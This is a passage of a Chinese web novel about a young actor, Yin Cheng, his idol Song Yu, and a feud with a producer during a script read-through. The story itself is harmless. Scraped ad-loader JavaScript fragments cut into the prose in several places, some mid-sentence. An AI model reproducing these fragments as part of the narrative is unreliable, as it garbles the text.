吴鸿阳先一步去车上放包,李鱼最后检查下房里有没有落下东西,印澄没事做,用背抵靠住门跟秦鸣闲扯。 “秦先生,我今天的穿搭还行吗?”印澄把帽兜扣在脑袋上问。 白帽兜被顶得蓬松,像朵可触碰的云。 “可以。”秦鸣微微点头。 隔壁1833号房门被推开,里面的房客也正好要出行。 “给点意见吧,我很虚心的。”印澄想要更多反馈。 待会儿就要跟导演和制片人见面了,还有宋屿。 第一印象很重要,他有点没底。 秦鸣没有评价他人衣品的习惯,正犹豫该怎样开口,身侧突然传来阵温和的夸赞:“干净清爽,不错,很适合你。” 印澄如触电般站直。 他看到了什么? 宋屿? 住在1833的是宋屿? 这么说,那个想跟他当邻居的人…… 见印澄愣住,宋屿弯起好看的眼,主动朝他伸出手:“又见面了。” “好、好巧。”印澄反应过来,忙尴尬地将手递上去。 宋屿握的力道不轻不重,手指修长,掌心贴合时,几乎包住他的手背。 指尖微凉,轻搭,短暂停留后倏然抬起,仿佛按下了个余韵悠长的和旋。 印澄不着痕迹地把手缩进袖子里,心砰砰乱跳。 哇,他跟男神握手了。 好想要个签名啊。 李鱼听见动静出来,热情地跟宋屿寒暄,印澄在后面将房门关好,拽平卫衣褶皱,再次跟秦鸣确认时间。 忙忙活活的。 也不知是在忙活个啥。 “印澄?”宋屿忽然叫他的名字。 “嗯?”印澄抬起头,有种溜号被老师逮住的紧张感。 “大家都顺路,坐一趟车吧。”宋屿发出邀请,同时示意身旁的工作人员去做准备。 “不用麻烦了,我们的车就在楼下!”印澄摆摆手,可话刚出口就后悔了。 “走吧。”宋屿没有理会他的推诿,动身朝前走,速度很慢,显然是在等他。 印澄抿唇,快走几步,跟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他并肩同行。 酒店走廊弥漫着柠檬味的空气清新剂,但没过多久,萦绕他的就只剩下宋屿的香水气。 雪松与薄荷交织,深沉、持久,却又不失新鲜感。 印澄跟宋屿差不多有一拳左右的距离,偶尔臂肘相近,似乎也能沾染上那种气息。 从1832号房到电梯间大概十几步远,印澄发现自己留意到了很多入住时曾经忽视掉的细节。 地毯金红缠绕的华丽花纹,墙脚荧光色的逃生通道标识,还有电梯两侧半人高的葱郁绿植。 但无论眼睛多忙,他的大脑也会被耳朵所捕捉到的信息占据。 宋屿走路的频率,呼吸的节奏,还有衣料摩擦时发出的轻微响动…… 正常点。 印澄在袖子里捏了下拳头,严肃地自我警告。 正常点! 电梯处于空闲状态,一行人鱼贯而入,很快便将梯厢占去大半。 印澄盯着玫金色的电梯门发呆。 就在前夜,他还在为那张社死表情包抓狂,如今却觉得无关紧要了。 宋屿对他突然出演男二,到底是什么态度? 荧幕搭档突然从超有人气的KK换成名不见经传的后辈,一般人都难以接受吧。 印澄抬眸,在镜子般的电梯门上找到宋屿的虚影。 他穿了件中长款的卡其色风衣,内搭白色薄毛衣,肩膀宽阔,优雅得体。 深色休闲西裤修饰得双腿笔直,再搭配棕皮鞋,更显成熟稳重。 简直就是行走的荷尔蒙。 印澄欣赏许久,在适应了宋屿的身材冲击后,终于有勇气去瞧对方的脸。 轿厢里的顶光泼洒,将宋屿的五官绘成光影分明的迷人雕像。 他下颌平抬,视线却是低垂的,眉骨投出片阴影,让深棕色眼眸变得晦暗不清。 宋屿也在看他。 印澄有点慌张,却没移开视线。 许是因为折射,现实世界的宋屿宛如被隔在屏幕后,变成了他最熟悉的模样。 几个心跳后,宋屿面部变得柔和,对他露出礼貌的笑。 印澄局促地眨眨眼,回以微笑。 李鱼嚼着蓝莓味的糖清新口气,秦鸣无表情地盯着楼层显示屏。 宋屿的助理们也没注意到什么。 有人在看手机,有人时不时用脚尖点地,都在用自己的方式打发时光。 印澄低头,笑了下,又笑了下。 也说不上来准确的理由,他就是觉着开心。 “叮”的一声响,电梯稳稳停住,所有虚像与梯门缓慢分开,消失不见。 印澄跟在宋屿身后,被陌生的助理们簇拥着,钻入酒店门口的迈巴赫S900。 后舱共有两个航空座椅和两个隐藏座椅,空闲相当宽敞,高度目测有一米六多,星光顶流动柔和。 隔离挡板营造出完美的私密空间,斜顶屏幕放着轻音乐,座椅旁的触摸屏还能调节温度和按摩力度等等,让人目不暇接。 印澄只乘过七座商务车,哪里见过这等场面,他拘谨地坐在宋屿对面,四处打量着过于奢华的内饰。 直至车辆悠然启动,他才察觉出不对劲。 等等,李鱼呢?秦鸣和吴鸿阳呢? 上车的,怎么只有他自己? 5. 关照 正疑惑着,李鱼倏然发来消息。 吸金帅锦鲤:【我们坐你车走了】 吸金帅锦鲤:【跟宋屿好好聊哈】 吸金帅锦鲤:【让他罩着你点!!】 印澄盯着手机,很想给自己上个呼吸机。 他家经纪人到底对他有什么不切实际的幻想。 让宋屿罩他? 他们总共才见过两次,说过的话一只手都能数得过来! 他哪儿来的面子啊! “冷吗?”宋屿忽然问他。 印澄停住回讯的动作,摇摇头,发现宋屿在看他的帽兜,忙腾出手把帽子摘开。 穿得太严,让人家误会了。 “你耳垂的形状很好看。”宋屿语气平淡,陈述事实般地称赞他。 印澄突然被夸,下意识用手捏了捏耳朵:“是、是吗?” “嗯,你出演的角色喜欢戴耳环,效果应该不错。”宋屿点点自己的双耳,提醒他左右两边都要戴。 印澄想起剧本中米契尔·格林的设定,再联想宋屿观察他的态度,瞬间紧张。 李鱼说过,因为杨导跟KK闹矛盾,把曾经的投资方得罪了,后来补上窟窿的是宋屿。 他面前坐着的,就是《欲都》的金主爸爸! “咳,您放心,我明天上午就去打耳洞。”印澄立刻保证。 他原本也是这样计划的。 宋屿盯着被印澄揉红的耳垂,随手从腿边的冷藏箱里拿出罐咖啡,递给他:“提神的。” “谢谢。”印澄接过,感慨宋屿心细。 连续两天睡眠不足,午餐后还真有点犯困。 他手指轻勾,拽动拉环,随着“咔”的一声脆响,浓郁的咖啡香自开口处溢出,让人心情舒畅。 印澄摘下口罩的一边,仰头喝了两口。 罐身凝结着的水珠顺势滑落,沿着喉咙滚动,没入衣领。 他舔了舔唇,回味着直蹿发根的冰爽感,疲意顿时消减。 嘴巴湿漉漉的,再戴口罩好像不太合适。 宋屿微不可查地笑了笑,静默须臾,双腿优雅翘起:“说起来,大家都是同事,以前却没什么机会见面。” “是啊。”印澄表面应合,暗自发苦。 其实他们碰见过几次,可惜只有他记得。 “未来要合作,我们还是熟悉一下比较好。”宋屿语气温和。 印澄不由得坐直身体,暗叹怪不得宋屿要他上车。 BOSS直聘! 虽然合同已经签完了,但这明显是要面试他吧! “我叫印澄,今年23岁,是SN20级练习生,21年参加过选秀节目《星途闪耀》,22年毕业于云辉音乐学院,同年转型演戏,参加过的项目有……” 宋屿做了个“暂停”的手势,忍笑止住印澄一板一眼的自我介绍:“这里不是面试现场,说说别的吧,兴趣爱好之类的。” 不是面试?只是随便聊天? 印澄停顿两秒,迟疑着开口:“食物方面,我喜欢辣一点的,运动方面,喜欢蝶泳,不太爱去健身房。” “个人爱好是肥肥鲨和你。”印澄在心里悄悄把话补全。 “蝶泳?”宋屿微微抬眉,似乎对他的回答感到意外,“咳,最近似乎流行夜跑……你不喜欢?” “嗯,拍夜戏候场的话,偶尔会跑。”印澄回答。 他对会流汗的陆地运动兴趣很低。 “那个,您喜欢什么?”印澄刚礼貌反问,就觉得哪里不太对劲。 互相询问这类问题,让他有种很强的即视感。 相亲? 这不是相亲的模式吗?! “目前还没有。”宋屿用食指撑住太阳穴,语气淡淡的。 印澄停止妄想,满头问号。 嗯?什么情况? 杂志采访早就披露过,宋屿擅长弹吉他、拉小提琴,经常在日落的海边散步,对银灰色较有好感等等等等。 难道小羽毛们掌握的公式书都是假的? “准确地说,是爱好换的快。”见印澄愣住,宋屿笑着解释,“食物也好,乐器也好,我沉迷某种东西时,几乎没有节制,所以腻得快,烦得也快。” 印澄若有所思,他曾经有位朋友就是类似的性格,热情似火,冷如冰,不爱怀旧,一直都朝前看。 挺好的。 印澄点点头,小口喝着咖啡,目光投向窗外。 沿途景色不断倒退,掠过许多陌生而忙碌的面孔。 他其实很欣赏这种态度,不内耗,生活永远新鲜。 是跟他完全相反的类型。 印澄的爱比较持久,喜欢的物件总想长长久久留在身边。 人也是。 * * * 1点50分,一行人准时抵达会议室,吴鸿阳背着包来跟印澄汇合,身后跟着秦鸣和李鱼。 “跟宋屿聊得怎么样?攀上点关系没?”李鱼压低声问。 印澄回答不出。 宋屿先他一步进会议室,掌声热烈,有人在跟他打招呼:“宋老师,来得真早啊!” 印澄也随之感叹。 以宋屿的咖位,合该压轴登场才对,没想到会跟他一起来。 难不成是故意的,想跟他偶遇? 哈哈。 印澄被自己的厚脸皮逗笑,又想象了下宋屿贴站在房门内随时待命的样子,嘴角更加难压。 小羽毛日常YY+1。 “诶对,保持住这个笑,待会儿一进门就有机器拍,花絮组的,注意形象嗷!”李鱼抓紧时间嘱咐他,“机灵着点,留意那个张制片!我刚打听到这回宋屿占资50%,其余投资都是他拉到的,地位很高!” 印澄收敛心神,做了次深呼吸。 “印老师,您这边请。”一名挂着工牌的男人来找印澄,示意他进去。 喊“老师”算是圈内的习惯了,对什么咖位用都没毛病。 印澄迈步,进入会议室,对着一屋子人弯腰打招呼:“大家好,我叫印澄,在剧里饰演米契尔·格林,请多多关照。” 稀稀拉拉的掌声响起,明显不如宋屿进来时热烈,但也算没冷场。 比他预料的要好一点。 印澄直起身,思维运转。 有些“大人物”很爱当众难为人,且不惧摄像头。 毕竟是能剪辑的东西。 结合李鱼给出的警告,张制片在握手环节给他难堪也不是没可能。 想防住“拒绝握手”的下马威,他只需换种问候方式,保持距离,双手合十,微微欠身就好。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “来,阿澄。”宋屿曲起右臂,手掌贴着他的后背,轻轻朝前推,“我带你认识一下。” 印澄被宋屿半圈在怀,像猫被人捏住后劲,身体抑制不住地变得僵硬。 阿澄。 宋屿叫他阿澄。 好亲密。 等等,这不是重点。 宋屿居然亲自带他认人! “这位是杨临导演。”宋屿亲切开口。 印澄看过去,发现眼前这位男人留着头未染色的自来卷,长度稍及肩膀,鼻梁很高,身穿黑风衣,脸上表情不多,双眼藏在卷发后,若隐若现。 很有艺术家气息。 印澄被宋屿带得跟对方距离过近,只能握手。 “我看过你的戏。”杨临嗓音略哑,身上的烟味还未散尽,“不错。” “您过誉了。”冷不丁被这么有名气的导演夸赞,印澄很是欢喜,“感谢您给我这次进组的机会。” 杨导摆摆手,让他不必客套。 这位伯乐的形象在印澄心里,瞬间变得高大、神秘。 宋屿搭在他背部的手微微用力,将印澄带到另一个人面前。 “这位是本剧的制片,张韦达先生。”宋屿继续介绍。 来了。 印澄硬着头皮,向对方伸出手。 张韦达个头不高,胖得脸颊耷拉,额头和鼻头泛着油光,浑身名牌,腰带卡在啤酒肚底下,皮鞋锃亮。 他瞧了瞧宋屿,再看看印澄,掀动嘴皮,扯出个意义不明的笑,敷衍地跟印澄握了一下,卡痰般清清嗓子,歪头去跟其他人讲话。 果然是难搞的人。 印澄不自觉地跟宋屿挨得更近,心中默念“远离”,又一一同副导演、编剧、执行导演、灯光师和主要配角们碰面。 花絮摄影师不近不远地扛着机器,把画面全部收录其中。 眼看围读人员到齐,杨导率先落座,与张制片共坐在长方形会议桌的首端,其余人在左右两边相对而坐。 印澄从吴鸿阳手中接过剧本和笔,按照立在桌面的姓名牌找位置。 很快,他发现宋屿对面是副导演,而自己则在副导演的旁边。 跟其他组一二番对坐的模式不同。 印澄一怔,随即接受了这个事实。 组里大概是想明确宋屿的一番地位,才这样安排的。 的确,他这个男二号无论是影响力还是实力,都跟拿过大奖的宋屿相差太远。 印澄默默叹一口,刚落座,忽见宋屿走到了他背后。 “你椅子坏了。”宋屿说。 “是吗?”印澄依言回头,发现椅背有几道划痕,螺丝也有些松动,似乎是把磨损的旧椅子。 小毛病,不耽误坐。 “没事。”印澄心里暖暖的。 “您好,麻烦换把新的。”宋屿轻拍他的肩,示意他起身,客气地吩咐工作人员。 工作人员吓了一跳,留意着张制片的脸色,忙不迭地应声,把旧椅子搬走。 宋屿挂着浅笑,将印澄带到副导演的位置,按着他坐下。 屋内静得吓人,连最细微的响动都听不到。 下一刻,副导演极有眼色地拿开自己的名牌,换了印澄的摆上:“哈哈,我坐哪儿都行,坐哪儿都一样!” 6. 犟 屋内人的目光犹如实质,扎得印澄汗如雨下。 宋屿对周遭气场变化置若罔闻,落座后翻开剧本,点头示意开始围读。 无人发出异议,方才的小插曲就此揭过。 印澄悄悄观察着宋屿的反应,见他并未再关注自己,仿佛那个出面维护的人不是他。 是了,维护。 印澄捏捏耳垂,心底涌现出丝丝缕缕的窃喜,缓慢而又密实地缠盖住一直存在的忐忑与不安。 他喜欢的前辈,真的是位很好的人。 纸张哗啦翻动,副导演负责念旁白,兼任未在场的配角们的台词部分。 印澄起伏的思绪随着平稳的念白声逐渐沉淀,《欲都》的开端在会议室里就此拉开序幕。 塔根城内贫富两极分化,贫民窟内鼠疫肆虐,感染者1~3日内必死,常有病患被戴防护面具的“鸟嘴医生”带走隔绝医治,病逝后尸体焚烧处理。 宋屿饰演的贝克·摩利出生于贫民窟,父母穷困却善良,教导他品行端正。 七岁那年,贝克父母被鸟嘴医生强行带走,他就此成为孤儿,在灰色地带艰难求生,长大后变得冷漠市侩,成为一名业务繁杂的私家侦探。 一日,贝克侦探的事务所旁搬来一家善良的邻居,邻居对他温柔照顾,逐渐融化他冰封的内心。 不料两个月后,鸟嘴医生再次出现,将康健的邻居一家全部带走,贝克侦探想起童年丧亲,悲从中来,悄悄跟踪到火葬场送行,却发现邻居一家三口的尸体不翼而飞。 贝克侦探震惊,冒险调查真相,摸到鸟嘴医生或许与当地最有名的摩拉密医药公司勾结,以鼠疫为由强掳贫民,做器官贩卖、人口拍卖等勾当。 警方亦在调查此案,无奈保护伞太大,难以深挖。 机缘巧合下,警方接触到贝克,两方决定合作,让贝克侦探当卧底潜入摩拉密医药公司,打探情报。 摩拉密医药公司固若金汤,贝克侦探几经谋划,决定以董事长纨绔的小儿子米契尔·格林为突破口。 而米契尔·格林,便是印澄即将饰演的角色。 印澄无意识地转着笔,动作灵活,看得杨导侧头瞩目。 米契尔性格乖张,极度任性,爱与恨都很浓烈,不知董事长父亲做的恶事,也不知贝克对自己频频示好的真正缘由。 他轰轰烈烈地爱上了贝克侦探,相信他,护着他,被背叛后在极端愤怒中得知了自家公司的底细。 最后决战,米契尔没杀贝克,而是跟父亲同归于尽,为这段注定悲剧的感情,和灌满污血的人生画上句点。 按照进度,今天主要是宋屿的戏份,最后一页才轮到印澄出场,台词也只有两行。 宋屿的声音很有磁性,如同低音提琴,带着难以言喻的吸引力,让人沉溺,却不会困倦。 他对剧本和人物理解得很透彻,每次跟杨导交流,都能准确地把握住故事的脉络,并商量着如何能让情感力量传达得更强烈。 除此外,每场戏的风格和节奏也要在此敲定,摄影指导、灯光师和道具组该如何行事,也是杨导需要关注的。 印澄听得认真,几乎要变成一块不断吸收知识的海绵,飞速在剧本上做着笔记。 这是他首次参加围读会,没想到能学这么多东西! 人物解析、内心动态、成长弧线…… 印澄连抬头的功夫都没有,奋笔疾书,恨不得把大家说的每一句话都记下来才好。 大约4小时后,终于轮到了印澄的环节。 他反复默念属于自己的台词,心跳又开始不受控制地加速。 啊,明明只是个围读会,还没正式开拍,紧张什么呢? 放轻松。 印澄不断安抚自己。 放松。 放松放松放松。 放松! 这段戏是米契尔·格林的正式亮相,他将在夜店二楼的包间里惩罚贴身保镖。 不久前,该保镖曾在贝克侦探的设计下弄丢钻表,米契尔用语言威逼保镖用刀挖出自己的左眼,惩戒其“有眼无珠”。 随后,米契尔会在夜店与打架的贝克侦探相遇,见他身手好,便招揽他当顶替该保镖的位置。 这是贝克侦探与警方计划的一环。 本场戏血腥残忍,彰显出米契尔能肆意妄为的权势和嚣张的性格,暗示贝克侦探即将面临的危险,很有冲击力。 副导演的旁白结束,印澄斜竖起剧本,调整坐姿,让嗓子能更好发音。 他要以米契尔·格林的身份说话了。 意义重大。 “这……” “等下!”张制片忽然出声。 印澄皱眉。 他刚念出一个字,就被打断。 “这段戏太累赘,完全可以删掉!贝克那边打完人,接米契尔过去搭讪就行!”张制片用手点指剧本,“又没男主,搞那么多镜头干什么?” 杨导重重叹气,用力搓了搓额头,低声嘀咕了句:“又来。” 印澄的心猛地下沉。 他知道张制片讨厌他,但没想到会讨厌到这种程度,连他的第一场戏都要删。 编剧艾沫紧抿下嘴,试图争辩:“削减出场,米契尔的人设会变得不完整……” “他一个男二,给那么多设计干什么?”张制片不耐烦地把剧本卷成个筒,敲打桌面,“况且还换人演了,现在这位能演出那个味儿吗?” 张制片用卷筒剧本指着印澄。 印澄握笔的手捏紧成拳,心里腾地升出股火。 质疑他可以,转行到现在,他也习惯被质疑。 但连演都没演,怎么就笃定他不行? 李鱼说过,合同是制片人发的,电话也是他打的。 既然不认同他,那昨天又是什么意思? 人格分裂? 耍他? 印澄忍了又忍,终于忍不住开口。 “米契尔因为注意到贝克在店内打架,才中止了对手下的施虐行为,这预示着两人的邂逅是改变米契尔人生的重要转折点。” “没有他施虐的铺垫,就没法跟他重拾同理心后的行为产生强烈对比。” “抱歉,我认为这段应该保留。” 说到最后,印澄语气强硬得让人意外。 他知道,说这些话的时候自己应该笑一笑,缓和气氛。 但他就是笑不出。 宋屿双手交叉于桌面,认真审视印澄,暂时打消了出声的念头。 “哈!”张制片没料到印澄会当面驳他,怒极反笑,“印老师,说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这么多,您到底是想圆米契尔的人设,还是想保自己的戏?” 这声“印老师”叫的,讽刺十足。 印澄直视张制片,目光坦荡:“实话实说,您提出的方案即毁人设又删我的戏,不如不改。” 杨导没忍住,噗嗤乐出声,稍慢一拍地用手掩了下嘴,顺势端起杯子喝了口水。 贴墙坐着的李鱼吓得不轻,拼命对印澄使眼色。 这小子平时挺老实的,怎么净跟那不好惹的犯冲! 编剧艾沫不安地抓着头发,低头看本,伪装成透明人的同时,悄悄替印澄打气。 加、加油! 张制片脸阴的能拧水,忽略掉其他信息,抓住话柄挖苦:“呵呵,说实话了吧?你跟我犟,不就是想保戏?” “我说印老师,您知道自己多大份量么?这可是S+项目,剧播后就您那点子人气,把收视率砸出坑怎么办?” “您当我改戏是为了谁?还不是为了咱这个组!说白了,KK退出,招牌就是宋屿单抗!我不指望他还指望你吗?人家投资方砸钱进来是做慈善呐,还是听响的?” “米契尔就是贝克复仇的一个助力!要我说,他片面化才好,搞那么复杂干什么?他迷恋贝克就够了!” “该露就露,该睡就睡,咱沾个BL边儿,再给贝克加点其他桃花,到时候两边赚,就搞大男主爽剧!观众容易买单,粉丝也爱看,这不两全其美吗?!” 张制片越说越激动,不断拍桌,震得印澄握笔的手也跟着颤。 听话听音,印澄听懂了潜台词。 削弱米契尔的存在,将《欲都》从两个人的爱恨纠葛改为贝克侦探的单人秀,是投资方的意见。 他演得好不好,那些人不在意,也不想赌。 新换的“将”没有KK红,就是原罪。 印澄放下笔,盯着剧本上各种颜色的字迹,忽然觉得很刺目。 米契尔的迷茫、愤怒、挣扎、成长,全都被捏得薄如蝉翼,混入到单一的性.欲里。 《欲都》的欲,不该浮浅至此。 见印澄不再吭声,张制片扬起胜利的笑,语气得意。 “说到底,你这个长相就淡!没有冲击力,就算上妆也跟KK不像!” “戏也是!KK当初试的戏就是包间这段,那爆发力,那表现力,啧啧,绝了!谁看了不说好?” “就算给你看,你又能学几成?” “这人呐,贵就贵在有自知之明……” 一阵嚣张的笑,忽然在会议室内爆发。 “不像?”印澄肩膀耸动,豁然抬头,盯视张制片的眼神却无半点光彩。 冰冷麻木。 仿佛在看一具腐烂已久的尸体。 张制片豁然退站起身,左手拎起椅子,右臂挡在胸前,本能地做出防范动作。 逃开的那个瞬间,连他自己都不懂在害怕什么。 张制片只是觉得……危险。 可印澄什么都没做。 他仍坐在原处,穿着人畜无害的白色卫衣。 笑声倏然消失,威慑的气息并未转淡,反而愈强。 “这里没有人叫KK。” 印澄看着他,一字一句。 “记住。” “我叫,印澄。” 7. 撑腰 张制片面色红一阵白一阵,他在圈里混了这么久,还没被谁当众下过脸! 他恨印澄的狂妄,更恨对这么个毛头小子心生畏惧的自己! “你、你……”张制片勃然大怒,刚要发飙,却见印澄飞速眨眨眼,消散气场,瞬息间便恢复成了平静的模样。 “千人千面,我的米契尔,不会跟他人一样。”印澄冲他礼节性地颔首,语气冷淡。 张制片噎住,像挨了记闷拳,外面没事,五脏六腑却难受得厉害:“好好好,好啊……” 一阵掌声截住张制片的话,吸引了在场所有人的目光。 “Bravo!”宋屿看向印澄,仿佛一位刚脱离观众状态的评审师,语气欢跃,“精彩的表演。” 印澄冷漠的表情解冻。 他按住后颈某处突突跳动的血管,待其平息后,顺手抓了抓头发,有些腼腆:“谢谢。” 张制片差点背过气。 这小王八蛋装什么? 发完疯还在这扮无辜! “宋老师,都这时候了您可别护短啊,我说的是事实!咱为什么放着大道不走,非走险路?改戏就是为了保收视率!” “咱做这么大项目,雇这么多人,头波宣传费都撒出去了,总不能为了捧个新人就硬赌吧!” “今儿我索性把话说开了,改戏不单是我的主意,‘星亿’‘嘉丸’‘樊逸’互相通过气儿,都是这么想的。” “KK不在,人家给咱投钱全冲您!不改大男主,那三家可都要退了!” “我知道您有钱,补过一回窟窿,那这回儿呢?您还填么?” 张制片气得哪还有理智,干脆连宋屿一起怼! 印澄震惊。 要知道“星亿珠宝”“嘉丸食品”“樊逸服饰”,可都是大牌。 经纪人李鱼提到过,张制片拉到的这三家总体的投资与宋屿相等,各占50%,不容小觑。 而据印澄得到的消息,《欲都》的拍摄预算差不多要5个亿。 这么大一笔钱,就算是宋屿,恐怕也难以承担…… “可以。”宋屿语气很淡,仿佛在说一件无足轻重的事。 “什么?”张制片不可置信地瞪着他,连杨导都感到诧异。 “剧本优秀,导演功力深厚,况且,还有如此惊喜的搭档,”说到这,宋屿朝印澄抬手,带了丝笑意,“《欲都》爆火,几乎是可预测的事。” 印澄被这抹笑弄得胸腔发痒。 他低头,用手撑着脸,悄悄靠温度推测自己有没有脸红。 男神居然用“惊喜”来描述他的演技,真是高度的认可。 还叫他“搭档”。 还对他笑。 啊,哪个小羽毛抗得住啊。 宋屿对印澄的反应笑容更甚,停了两秒,才发出最后通牒:“大家去留随意,我可以全资。” 张制片眼皮抽搐,窝着啤酒肚,慢慢坐了回去。 全资。 张制片做梦都没想到,宋屿敢说这两个字。 印澄旖旎心思全无,肩膀瞬间变沉。 好像有5亿现金压在那上面。 “呵,话说得挺大。”张制片低声嘀咕着,却不敢再呛宋屿。 他把卷弯的剧本胡乱摊开,视线凝固,恨不得把纸盯出个窟窿。 “好了,”一直未发声的杨导终于表态,“往下继续。韦达,剧本的事你就别瞎操心了。” 张制片冷笑。 “坐不住就走,别耽误我时间。”杨导瞪了他一眼,发出警告。 张制片满眼怒火,强压住摔门而去的冲动,猛喝几口水顺气。 他跟杨临十几年的交情,深知对方的脾气。 再闹下去就要难看了。 事情的发展跟张制片预料得不太一样。 KK这条线是他搭进来的。 当初KK跟杨临闹翻,扬言要带资离组,其实是想争个“平番”出来,并非真心要走。 张制片早提醒过对方,杨临脾气倔,不吃这套,可惜KK不听。 结果杨临发飙,宋屿出资,一下把KK和他的金主“瑞庭集团”架住,连个台阶都没的下,直接就出局了。 KK太傲,多次表明绝不低头,张制片也无可奈何,以为这事就此作罢。 没想到印澄那边合同一签,KK当晚就急了,把张制片请过去千求万求,好处给了一大堆,让他把事搅黄。 并承诺只要能重新进组,他们不再争番,且弥补包括违约金在内的所有损失。 张制片钱揣进腰,自然用心。 他决定先排挤印澄,以其他投资方为幌,详述厉害关系,逼杨临删改剧本。 杨临必舍不得故事被毁,届时他再多提KK的优点,两下对比,让杨临有所动摇,态度软化。 到那时候他安排KK登门道歉,事情没准能转圜。 哪曾想计划的第一步,就被印澄给堵住了! 后头越吵越乱,宋屿跟杨临还跟痴心疯了似的,接连给那小子撑腰! 他老子的!晦气! 张制片咬紧牙,愤恨地掏出手机。 既如此,那就别怪他来阴的! “这世界上,每一个错误都有它的代价。” 印澄念诵台词。 他语带戏谑,仿佛在旁观一场滑稽剧。 “捡起刀,罗伊。” “你知道自己该做什么。” * * * 围读结束在18点左右,宋屿晚上受邀观看时装秀,行程紧张,立刻就要动身。 印澄抱着剧本送宋屿到会议室门口,想说些感激的话,却怕耽误时间。 宋屿见他神色复杂,低声对他说:“抱歉,没法跟你一起回酒店了。” 印澄慌张地摇摇头:“啊,没事没事!我、我是想跟您说声谢谢!” “嗯,”宋屿佯装思索,“只是说声谢?” “不不,我,我很感谢您!”印澄磕巴完,绝望地闭上眼。 笨死他算了。 宋屿接过助理递来的外套穿好,满眼好奇:“印澄,你真的很奇怪。” 印澄胸口中箭。 完了。 他被男神当成怪人了。 “你跟别人说话很流畅的,”说到这,宋屿笑了下,“尤其是跟制片人。为什么只对我这样?” 印澄后背爆汗。 他觉得自己必须得解释点什么。 情况很紧急。 万分紧急。 “咳,其实我很喜欢您……演的戏!”印澄努力让舌头转动,“面对偶像,就、就有点紧张,哈哈。” 宋屿挑眉:“偶像?” “是,喜欢。”印澄用力点头,把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剧本抱得哗啦作响。 全然没注意到自己将想要强调的“偶像”,重复成了“喜欢”。 看印澄满脸认真,宋屿轻笑,抬手摸摸印澄的头,留下句“回见”,在助理们的簇拥下匆匆离开。 印澄傻站在原地,愣了会,如梦初醒般跑到窗前,恰好目送到宋屿上车的优雅身影。 迈巴赫商务车逐渐远去,印澄揉着自己的头发,唇角弯弯。 心也跟着弯。 “听说宋屿住在你隔壁?”杨导无声出现在印澄身后,吓了他一跳。 “嗯。”印澄承认得心虚。 好像这件事被当众讲出来有点难为情。 杨导点点头:“不错,看来他把我的话听进去了。” 印澄没明白:“什么话?” “我劝他,最好的演绎方式就是沉浸,你们演的是CP,不仅要相熟,还得有化学反应,如果生活中能变得亲密,那就再好不过了。”杨导远眺着傍晚的云层,对他解释道。 “亲密。”印澄若有所思。 “说得再清楚点,拍戏期间,你们甚至可以假装爱上对方,寻找那种情愫萌发的感觉。”杨临抽走他手里的剧本,随口丢下枚重磅炸弹。 印澄双眼瞪大,彻底僵住。 假扮情侣?! 怪不得宋屿对他关照有加,原来是这个缘故! 他这是拿到体验卡了! 真不愧是大导演,这么离谱的要求也敢跟宋屿提! 关键是宋屿!他还答应了! 原来真的有演员会为艺术献身到这个地步啊! 这算天上掉两个馅饼吗? 出演米契尔和当宋屿的限期男友,他要被双倍幸福砸晕了! 不对,冷静! 印澄双手猛搓脸颊,制止自己飘上云端。 宋屿对他好是为了体验角色。 为了工作。 前辈既然为揣摩角色付出这么多,他也要努力才行。 他也要假装爱上宋屿…… 等等。 假装? 他还用装吗? 印澄脑子乱得厉害,思绪像线团一样混在一起,怎么都捋不顺。 混沌间,他隐约冒出种了不安感。 限时情侣,所有的感情都得在杀青的那一刻收回来才行。 宋屿能做到,他呢? 到时候,万一拔不出来怎么办。 印澄没谈过恋,自然也就没经历过失恋。 想到这层,他居然有点恐惧。 所以……要拒绝吗…… 不。 印澄撇开担忧,整理好表情,郑重答复:“我会假装爱上宋屿的。” 这是他人生中的机会。 他不能错过。 “很好。”杨导甩了下卷发,对他的回答很满意 ,“你很上进。” 印澄这才注意到,对方在看自己在剧本上写的笔记。 嘶,好像被老师检查作业啊,他把字写得再漂亮点就好了。 “那个,我真的很好奇,杨导,您为什么会选我演米契尔啊?”印澄纠结着,终于问出心底的疑惑。 “我?”杨导发出声短暂的笑,掏出根烟点上。 他深吸一口,对印澄晃了晃夹烟的手指。 “不不,不是我。” “宋屿要的你。” 8. 黑历史 印澄怀疑自己是不是听错了。 宋屿? 让他进组的,居然是宋屿? 这怎么可能! 大家虽然都在SN,但五年来唯一的一次交流,就是电梯间的那场偶遇啊。 别说不熟,印澄都怀疑宋屿不知道公司里有他这号人。 什么情况? 难道宋屿留意过他? 过量的信息差让印澄混乱:“我还以为是之前投的简历被您看中了。” “哦,对,你应聘过米契尔的贴身助理。”杨导翻过一页剧本,继续审阅,“你投的视频我起初没看到,小配角很多都是张韦达在把关。” 那的确是个小配角,演员甚至没有参加围读会的资格。 印澄怔住。 “当初刷掉我的,是张制片?”他问。 “嗯,我太忙,没法事事操心。”杨导抬头,往张制片的方向瞥了一眼,“反正是无关紧要的角色,他想塞人,我也懒得管。” 简简单单的一句话,却让印澄苦涩不已。 投给《欲都》的视频,他反反复复录了三天,力求让每个眼神、动作都接近完美,还设计出五种版本筛选。 等待的那段日子更是难熬,悬着的心每次打开邮箱都会揪紧,失望后再没着落地下坠。 得知落选后,他还夜夜反省,思量哪里表现得不足,能再改进。 没想到折腾来折腾去,走的竟是条死路。 “后来KK离组,我一时找不到合适的人,宋屿就跟我推荐了你。”杨导吐烟,发出声喟叹。 印澄眼眶发酸,他思忖了下,猜测道:“因为我演的‘傅生’?” “傅生”就是最近让印澄小火一把的反派角色,觊觎家母、下场凄惨的家仆。 印澄想,大抵是这个角色有热度,才引起了宋屿的关注。 杨导将所剩不多的烟掐灭,合上剧本,神色认真:“不仅是‘傅生’,他把你转型后演的第一个角色和‘傅生’的片段一起给我看的。” 第一个角色? 印澄瞬间面红耳赤,很快想起他演的在便利店里围观主角吵架的路人甲。 他记得导演当时的要求,演路人主打一个盲从,谁争辩他都点头,最后主角吵赢,他“恍然大悟”,站在后面鼓掌欢呼。 呆得像个大聪明。 